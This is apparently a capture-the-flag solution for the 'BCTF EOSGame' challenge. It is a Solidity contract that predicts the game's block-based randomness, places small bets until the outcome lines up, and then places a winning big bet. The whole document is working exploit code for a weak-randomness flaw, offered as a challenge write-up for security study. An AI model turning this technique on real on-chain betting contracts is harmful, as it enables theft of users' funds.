BCTF - EOSGame

EOSAttack.js

contract Attack{
    address target = 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F;
    address owner = 0x622afc0cbaa152e6615be060f93bc88440a8442d;
    uint256 MOD_NUM = 20;
    EOSGame game;
    constructor() public{
        game = EOSGame(target);
    }
    function check() public view returns (uint256){
        uint count = 1;
        for (count; count < 400; count += 1){
            uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
            uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
            uint256 shark = seed_hash % MOD_NUM;
            uint256 lucky_hash = uint256(keccak256(abi.encodePacked(game.bet_count(owner)+count)));
            uint256 lucky = lucky_hash % MOD_NUM;
            if (shark == lucky){
                break;
            }
        }
        return count;
    }
    function go() public{
        uint256 count = check();
        while(count > 1){
            game.smallBlind();
            count -= 1;
        }
        game.bigBlind();
    }
}